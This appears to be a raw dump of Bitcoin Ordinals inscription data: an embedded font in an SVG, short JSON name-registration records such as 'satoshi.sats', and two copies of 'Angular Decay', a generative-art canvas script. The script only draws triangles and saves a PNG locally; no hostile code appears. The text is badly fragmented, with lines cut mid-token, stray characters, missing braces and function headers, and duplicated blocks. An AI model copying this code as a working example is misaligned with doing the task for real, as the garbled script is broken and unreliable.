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)format("woff2");}svg{background-color:#4d4d4e;}tspan{text-anchor:middle;dominant-baseline:middle;font-family:glyphs;font-weight:400;fill:#f2a900;text-rendering:geometricPrecision;}::selection{background-color:#f2a90044;}</style></defs><rect width="100%" height="100%" fill="#222222" /><text x="0" y="256" transform="translate(256)" font-size="28.8" letter-spacing="-4.8"><tspan x="0" dy="-178.5">...$
</tspan><tspan x="0" dy="24">........
$$$$$</tspan><tspan x="0" dy="24">...$..
$.</tspan><tspan x="0" dy="24">$.$.
.$.</tspan><tspan x="0" dy="24">
..$.</tspan><tspan x="0" dy="24">..........$$$
</tspan><tspan x="0" dy="24">..
$</tspan><tspan x="0" dy="24">....
.</tspan><tspan x="0" dy="24">.
....</tspan><tspan x="0" dy="24">$
..</tspan><tspan x="0" dy="24">
.........</tspan><tspan x="0" dy="24">.$..
</tspan><tspan x="0" dy="24">.$.
.$.$</tspan><tspan x="0" dy="24">.$
..$...</tspan><tspan x="0" dy="24">$$$$$
........</tspan><tspan x="0" dy="24">
$...</tspan></text></svg>h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"satoshi.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
  "name": "hotshot.sats"
d/Foundry USA Pool #dropgold/
text/plain;charset=utf-8
  "name": "market.sats"
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"kanga.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"luno.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"paribu.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"finexbox.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"korbit.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
  "name": "wirex.sats"
text/html;charset=utf-8
<meta charset="UTF-8">
<title>Angular Decay</title>
<script id="snippet-random-code" type="text/javascript">
let seed = window.location.href.split('/').find(t => t.includes('i0'));
const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
let pattern = "seed=";
for (let i = 0; i <M
 seed.length - pattern.length; ++i) {
if (seed.substring(i, i + pattern.length) == pattern) {
seed = seed.substring(i + pattern.length);
function cyrb128($) {
let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(lM
 ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
function sfc32($, _, u, i) {
return function () {
var l = ($ >>>= 0) + (_ >>>= 0) | 0;
return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
let mathRand = sfc32(...cyrb128(seed));
<style>body {margin: 0px;} </style>M
<canvas id="target"></canvas>
<script type="text/javascript">
const rand = mathRand();
const rand2 = mathRand();
let sqpix,cp,ratio=0.707,bug=false;
if(rand<0.3){sqpix=0;zoom=false;return"Portrait";}
if(rand<0.6){sqpix=0;ratio=1.414;return"Lanscape";}
if(rand<0.95){sqpix=1;return"Square";}
sqpix=1;bug=1;return"Bugged";}
if(rand<0.07){cp=12;return "Paper";}
if(rand<0.14){cp=1;return "DPM";}
if(rand<0.21){cp=2;return "Fecktarn";}
if(rand<0.41){cp=4;return "Desert Drill";}
if(rand<0.5){cp=5;return "Urban";}
if(rand<0.6){cp=6;return "Navy";}
if(rand<0.7){cp=7;return "German Winter";}
if(rand<0.8){cp=8;return "Tree";}
if(rand<0.85){cp=9;return "Orange";}
if(rand<0.9){cp=10;return "Harris";}
if(rand<0.95){cp=11;return "Market";}
cp=0;return "Saint";}
window.$generativeTraits = {"View": T1(rand),"Pallet": T2(rand2) }
const container = document.createElement("div")
container.innerHTML = "<span>seed: " + seed + "</spM
let resizeTmr=null,aniFrame=null;
let ofw,ofh,sz,rz=1;
let gi=0,gj=0,drp=0,drawtot=2,bmp,artcols=[];
var tricount=0,tr=30;
var tx1=[],ty1=[],tx2=[],ty2=[],tx3=[],ty3=[];
var rx1=[],ry1=[],rx2=[],ry2=[],rx3=[],ry3=[];
const init = async () => {
window.addEventListener('resize', async () => {
clearTimeout(resizeTmr)
resizeTmr = setTimeout(async () => {
await layoutCanvas()
await layoutCanvas()
const layoutCanvas = async () => {
const wWidth=window.innerWidth
const wHeight=window.innerHeight
let cHeight=wHeight;
let cWidth=cHeight*ratio;
if(cWidth>wWidth){cWidth=wWidth;cHeight=cWidth/ratio;}
const canvas=document.getElementById('target')
canvas.width=2000*rz;
canvas.height=(2000*rz)/ratio;
canvas.style.position = 'absolute'
canvas.style.width = `${cWidth}px`
canvas.style.height = `${cHeight}px`
canvas.style.left = `${(wWidth - cWidth) / 2}px`
canvas.style.top = `${(wHeight - cHeight) / 2}pM
const drawCanvas = async () => {
if(!tried) setupart();
if (aniFrame) window.cancelAnimationFrame(aniFrame)
const canvas=document.getElementById('target')
const ctx=canvas.getContext('2d')
{let bx=ofw/500,by=ofh/500;
ctx.globalAlpha=0.05;
for(let f=10;f<30; f++){
for(let i=0;i<500; i++){
drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'#ffffff');
drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'M
if(gj>500) { drp=3; gj=0; }
for(let f=0;f<tc;f++){
if(bug) dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz*sz,ty2[f]*sz, artcols[1], 1*sz);
else dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz,ty2[f]*sz, artcols[1], 1*sz);
dl(ctx, tx2[f]*sz,ty2[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);
dl(ctx, tx1[f]*sz,ty1[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);}
for(let f=0;f<rc;f++){
dl(ctx, rx1[f]*sz,ry1[f]*sz, rx2[f]*sz,ry2[f]*sz, artcols[2], 1*sz);
,ry2[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);
dl(ctx, rx1[f]*sz,ry1[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);}
ctx.fillStyle = artcols[0];
ctx.fillRect(0,0,ofw,ofh);
mathRand = sfc32(...cyrb128(seed));
tc=0;rc=0;tricount=0;tr=30;bmp=0;
triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr));
tricount=1000;tr=rir(10,50);dor=true;bmp=0;
triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr));
aniFrame = window.requestAnimationM
function triharder( x1,y1, x2,y2)
if(tricount>2500) return;
var x3=x1+rir(-tr,tr);
var y3=y1+rir(-tr,tr);
if(x3<0){x3+=tr;bmp++}
if(x3>1000){x3-=tr;bmp++}
if(y3<0){y3+=tr;bmp++}
if(y3>1000/ratio){y3-=tr;bmp++}
if(dor) {rx1[rc]=x1;ry1[rc]=y1;rx2[rc]=x2;ry2[rc]=y2;rx3[rc]=x3;ry3[rc]=y3;rc++; }
else {tx1[tc]=x1;ty1[tc]=y1;tx2[tc]=x2;ty2[tc]=y2;tx3[tc]=x3;ty3[tc]=y3;tc++;}
if(bmp>15){bmp=0; x3=y3=500;x1=rir(500,500+tr);y1=rir(500,500+tr);x2=rir(500,500-tr);y2=rir(500,500-M
triharder(x3,y3, x1,y1);
if(ri(100)>20) triharder(x3,y3, x2,y2);
const autoDownloadCanvas = async () => {
const element = document.createElement('a')
element.setAttribute('download',`Angular-${ofw}x${ofh}-${seed}`)
element.style.display = 'none'
document.body.appendChild(element)
let imageBlob = null
imageBlob = await new Promise(resolve => document.getElementById('target').toBlob(resolve, 'image/png'))
element.setAttribute('href', window.URL.createObjectURL(imageBlob, {
document.body.removeChild(element)
document.addEventListener('keypress', async (e) => {
e = e || window.event
if (e.key === 's') autoDownloadCanvas()
if (e.key === 'h') { rz++;if(rz>5)rz=1;drp=0;gi=0;gj=0;await layoutCanvas() }
function drawEllipse(ctx,x,y,rx,ry,fill) {
ctx.ellipse(x, y, rx, ry, 0, 0, 2 * Math.PI);
if (fill) {ctx.fillStyle = fill;ctx.fill();}
function dl(ctx,lx,ly,ex,ey,stroke,width) {
if (stroke) {ctx.strokeStyle = stroke;}
if (width) {  ctx.linM
ctx.beginPath();ctx.moveTo(lx,ly);ctx.lineTo(ex,ey);ctx.stroke();
if(cp==12)artcols=['#EDECE0','#303030','#880808'];
if(cp==0) artcols=['#F0BEB2','#F25B40','#3A8D3B'];
if(cp==11)artcols=['#4F97BA','#F9E1B5','#BD2C41'];
if(cp==1) artcols=['#25201E','#D3A252','#686C22'];
if(cp==2) artcols=['#B4CBCA','#1F5FB3','#355026'];
if(cp==3) artcols=['#D1C7C5','#6E5247','#8D695D'];
if(cp==4) artcols= ['#E4DBBE','#8BB8B3','#AF799A'];
if(cp==5) artcols= ['#B8B8B3','#474747','M
if(cp==6) artcols= ['#A6B2C7','#323642','#394A69'];
if(cp==7) artcols= ['#E6E6E4','#343523','#B2B2AD'];
if(cp==8) artcols= ['#A9A18E','#706B5C','#606A4D'];
if(cp==9) artcols= ['#EDECE0','#944645','#F25D34'];
if(cp==10) artcols= ['#9FA6A4','#77694E','#B54933'];
function ri( x){  return Math.floor(mathRand()*x);}
function rir(x,y){ let nr = (y - x) ; return  Math.floor((mathRand()*nr) + x); }
text/plain;charset=utf-8
  "name": "canto.sats"
text/plain;charset=utf-8
4{"p":"sns","op":"reg","name":"binancehongkong.sats"}h!
text/html;charset=utf-8
<meta charset="UTF-8">
<title>Angular Decay</title>
<script id="snippet-random-code" type="text/javascript">
let seed = window.location.href.split('/').find(t => t.includes('i0'));
const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
let pattern = "seed=";
for (let i = 0; i <M
 seed.length - pattern.length; ++i) {
if (seed.substring(i, i + pattern.length) == pattern) {
seed = seed.substring(i + pattern.length);
function cyrb128($) {
let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(lM
 ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
function sfc32($, _, u, i) {
return function () {
var l = ($ >>>= 0) + (_ >>>= 0) | 0;
return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
let mathRand = sfc32(...cyrb128(seed));
<style>body {margin: 0px;} </style>M
<canvas id="target"></canvas>
<script type="text/javascript">
const rand = mathRand();
const rand2 = mathRand();
let sqpix,cp,ratio=0.707,bug=false;
if(rand<0.3){sqpix=0;zoom=false;return"Portrait";}
if(rand<0.6){sqpix=0;ratio=1.414;return"Lanscape";}
if(rand<0.95){sqpix=1;return"Square";}
sqpix=1;bug=1;return"Bugged";}
if(rand<0.07){cp=12;return "Paper";}
if(rand<0.14){cp=1;return "DPM";}
if(rand<0.21){cp=2;return "Fecktarn";}
if(rand<0.41){cp=4;return "Desert Drill";}
if(rand<0.5){cp=5;return "Urban";}
if(rand<0.6){cp=6;return "Navy";}
if(rand<0.7){cp=7;return "German Winter";}
if(rand<0.8){cp=8;return "Tree";}
if(rand<0.85){cp=9;return "Orange";}
if(rand<0.9){cp=10;return "Harris";}
if(rand<0.95){cp=11;return "Market";}
cp=0;return "Saint";}
window.$generativeTraits = {"View": T1(rand),"Pallet": T2(rand2) }
const container = document.createElement("div")
container.innerHTML = "<span>seed: " + seed + "</spM
let resizeTmr=null,aniFrame=null;
let ofw,ofh,sz,rz=1;
let gi=0,gj=0,drp=0,drawtot=2,bmp,artcols=[];
var tricount=0,tr=30;
var tx1=[],ty1=[],tx2=[],ty2=[],tx3=[],ty3=[];
var rx1=[],ry1=[],rx2=[],ry2=[],rx3=[],ry3=[];
const init = async () => {
window.addEventListener('resize', async () => {
clearTimeout(resizeTmr)
resizeTmr = setTimeout(async () => {
await layoutCanvas()
await layoutCanvas()
const layoutCanvas = async () => {
const wWidth=window.innerWidth
const wHeight=window.innerHeight
let cHeight=wHeight;
let cWidth=cHeight*ratio;
if(cWidth>wWidth){cWidth=wWidth;cHeight=cWidth/ratio;}
const canvas=document.getElementById('target')
canvas.width=2000*rz;
canvas.height=(2000*rz)/ratio;
canvas.style.position = 'absolute'
canvas.style.width = `${cWidth}px`
canvas.style.height = `${cHeight}px`
canvas.style.left = `${(wWidth - cWidth) / 2}px`
canvas.style.top = `${(wHeight - cHeight) / 2}pM
const drawCanvas = async () => {
if(!tried) setupart();
if (aniFrame) window.cancelAnimationFrame(aniFrame)
const canvas=document.getElementById('target')
const ctx=canvas.getContext('2d')
{let bx=ofw/500,by=ofh/500;
ctx.globalAlpha=0.05;
for(let f=10;f<30; f++){
for(let i=0;i<500; i++){
drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'#ffffff');
drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'M
if(gj>500) { drp=3; gj=0; }
for(let f=0;f<tc;f++){
if(bug) dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz*sz,ty2[f]*sz, artcols[1], 1*sz);
else dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz,ty2[f]*sz, artcols[1], 1*sz);
dl(ctx, tx2[f]*sz,ty2[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);
dl(ctx, tx1[f]*sz,ty1[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);}
for(let f=0;f<rc;f++){
dl(ctx, rx1[f]*sz,ry1[f]*sz, rx2[f]*sz,ry2[f]*sz, artcols[2], 1*sz);
,ry2[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);
dl(ctx, rx1[f]*sz,ry1[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);}
ctx.fillStyle = artcols[0];
ctx.fillRect(0,0,ofw,ofh);
mathRand = sfc32(...cyrb128(seed));
tc=0;rc=0;tricount=0;tr=30;bmp=0;
triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr));
tricount=1000;tr=rir(10,50);dor=true;bmp=0;
triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr));
aniFrame = window.requestAnimationM
function triharder( x1,y1, x2,y2)
if(tricount>2500) return;
var x3=x1+rir(-tr,tr);
var y3=y1+rir(-tr,tr);
if(x3<0){x3+=tr;bmp++}
if(x3>1000){x3-=tr;bmp++}
if(y3<0){y3+=tr;bmp++}
if(y3>1000/ratio){y3-=tr;bmp++}
if(dor) {rx1[rc]=x1;ry1[rc]=y1;rx2[rc]=x2;ry2[rc]=y2;rx3[rc]=x3;ry3[rc]=y3;rc++; }
else {tx1[tc]=x1;ty1[tc]=y1;tx2[tc]=x2;ty2[tc]=y2;tx3[tc]=x3;ty3[tc]=y3;tc++;}
if(bmp>15){bmp=0; x3=y3=500;x1=rir(500,500+tr);y1=rir(500,500+tr);x2=rir(500,500-tr);y2=rir(500,500-M
triharder(x3,y3, x1,y1);
if(ri(100)>20) triharder(x3,y3, x2,y2);
const autoDownloadCanvas = async () => {
const element = document.createElement('a')
element.setAttribute('download',`Angular-${ofw}x${ofh}-${seed}`)
element.style.display = 'none'
document.body.appendChild(element)
let imageBlob = null
imageBlob = await new Promise(resolve => document.getElementById('target').toBlob(resolve, 'image/png'))
element.setAttribute('href', window.URL.createObjectURL(imageBlob, {
document.body.removeChild(element)
document.addEventListener('keypress', async (e) => {
e = e || window.event
if (e.key === 's') autoDownloadCanvas()
if (e.key === 'h') { rz++;if(rz>5)rz=1;drp=0;gi=0;gj=0;await layoutCanvas() }
function drawEllipse(ctx,x,y,rx,ry,fill) {
ctx.ellipse(x, y, rx, ry, 0, 0, 2 * Math.PI);
if (fill) {ctx.fillStyle = fill;ctx.fill();}
function dl(ctx,lx,ly,ex,ey,stroke,width) {
if (stroke) {ctx.strokeStyle = stroke;}
if (width) {  ctx.linM
ctx.beginPath();ctx.moveTo(lx,ly);ctx.lineTo(ex,ey);ctx.stroke();
if(cp==12)artcols=['#EDECE0','#303030','#880808'];
if(cp==0) artcols=['#F0BEB2','#F25B40','#3A8D3B'];
if(cp==11)artcols=['#4F97BA','#F9E1B5','#BD2C41'];
if(cp==1) artcols=['#25201E','#D3A252','#686C22'];
if(cp==2) artcols=['#B4CBCA','#1F5FB3','#355026'];
if(cp==3) artcols=['#D1C7C5','#6E5247','#8D695D'];
